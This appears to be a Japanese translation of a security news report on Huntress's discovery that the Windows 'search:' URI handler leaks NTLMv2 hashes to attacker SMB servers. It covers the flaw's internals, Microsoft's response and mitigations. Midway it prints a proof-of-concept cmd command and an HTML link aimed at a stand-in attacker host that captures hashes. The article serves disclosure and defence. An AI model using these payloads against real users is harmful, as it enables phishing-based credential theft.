Windows の NTLMv2 ハッシュ漏洩の脆弱性 CVE-N/A:Huntress がエクスプロイトを確認

Windows Search URI Handler Flaw Leaks NTLMv2 Hashes to Attacker-Controlled Servers

2026/06/03 CyberSecurityNews — Windows の “search URI” ハンドラーで発見された脆弱性 CVE-N/A により、攻撃者が用意したサーバへ向けて NTLMv2 ハッシュが漏洩する可能性がある。この挙動は、Snipping Tool の CVE-2026-33829 と同一クラスのバグであり、ユーザーによる 1 回のリンク・クリックで発生するものであるが、Microsoft は CVE 割り当ても修正も行っていない。

2026年4月14日に Microsoft は、Snipping Tool の “ms-screensketch: URI” ハンドラーに存在する、NTLM 認証情報漏洩の脆弱性 CVE-2026-33829 を修正した。

このバグを悪用する攻撃者は、filePath パラメータにリモート UNC パスを指定し、外部 SMB 認証を強制的に発生させることで、被害者の Net-NTLMv2 ハッシュを漏洩させる可能性があった。

通常のリンクのように見えるものをユーザーがクリックするだけで、端末が攻撃者の SMB サーバに対して自動的に認証通信を行う問題が生じていた。

Windows Search URI 脆弱性による漏洩

Huntress が確認したのは、同様のプリミティブが Windows の “search URI” ハンドラーにも存在することだった。filePath の代わりに “crumb=location” を使用することで、攻撃者の SMB エンドポイントへ Net-NTLMv2 ハッシュが送信されてしまう。

この脆弱性は、Windows 11 25H2 Pro (Build 26200.8524) 上で再現されているが、その際の条件は、標準のユーザー権限とデフォルトの Defender 設定を用いるものであり、特別な開発者の設定は不要である。

コマンドプロンプトから、以下を実行するだけで漏洩が発生する。

start “” “search:query=test&crumb=location:\10.0.1.100\share”

Left: cmd start "" triggers an access-denied dialog. Right: Responder captures tony.soprano::NEWJERSEY seconds after the URI fires  ( source : huntress )

Left: cmd start "" triggers an access-denied dialog. Right: Responder captures tony.soprano::NEWJERSEY seconds after the URI fires ( source: huntress )

引用符および start “” のラッパーが重要であり、これがない場合には “&” がコマンド区切りとして解釈され、ペイロードは正常に実行されない。

正しくトリガーされると、Windows はアクセス拒否のダイアログを表示するが、その時点では、リモートサーバへの NTLMv2 ハッシュ送信が完了している。

ログオン・セッションごとに、最初の 1 回でのみハッシュが漏洩し、その後はログオフするまでアクセス拒否となる。しかしフィッシングにおいては、この 1 回で十分である。

A single malicious search: link in Edge can leak NTLMv2 hashes to attacker-controlled servers without prompts( source : huntress )
A single malicious search: link in Edge can leak NTLMv2 hashes to attacker-controlled servers without prompts (source: Huntress)

この攻撃は、以下のようなリンクをブラウザに埋め込むことで成立するが、その用途はコマンド実行だけに限定されない。

<a href=”search:query=test&crumb=location:\\10.0.1.100\share”>click</a>

Microsoft Edge などのブラウザで、この URI を読み込むと、プロンプトを表示することなく SMB 認証が発生し、攻撃者が Responder を実行しているホストへ向けてハッシュが送信される。

内部的には、search と search-ms は HKCR 上で別々に登録されているが、同一のコマンドラインと DelegateExecute CLSID {90b9bce2-b6db-4fd3-8451-35917ea1081b} を共有しており、ExplorerFrame.dll 内の SearchExecute (CLSID_SearchMSExecute) COM クラスにマッピングされている。

つまり、この 2つの URI スキームは同一の COM アクティベーション・パスを通過するため、SearchExecute における入力検証の不備は両方に影響する。

根本的な修正は URI 登録レベルではなく、SearchExecute または Explorer の検索処理に対して実装される必要がある。

2024年に Varonis は、search-ms 経由で UNC ベースの NTLM 漏洩を引き起こす、プリミティブの crumb location を文書化した。また、2023年に Trellix は、攻撃対象領域としての search: について文書化している。

ただし、search: と crumb=location を組み合わせた NTLM 漏洩の手法は、今回が初めての報告だとされる。

以前の脆弱性 CVE-2026-33829 と Huntress が発見した search の問題は、同一クラス (URI ハンドラ経由の NTLM 漏洩) に属し、CVSS ベクターも同一 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) であり、深刻度は Moderate と評価されている。

Same command and DelegateExecute CLSID enable two URI schemes through one COM activation path( source : huntress )
Same command and DelegateExecute CLSID enable two URI schemes through one COM activation path( source : huntress )

Microsoft は Snipping Tool にはパッチと CVE を割り当てたが、その一方で、この件についてはサービス基準に満たない修正対象外とし、個別対応で判断するとしている。

この種の NTLM 漏洩全体に対する最も有効な対策として、Huntress が推奨するのは、不要なホストからのアウトバウンド SMB (TCP 445 および 139) をブロックすることだ。

さらに、SMB 署名の強制/NTLM の制限または無効化 (例: RestrictSendingNTLMTraffic を 2 に設定、事前監査が必要)/メールやプロキシログにおける search: / search-ms: URI の検知を行うことで、リスクを大幅に低減できるとしている。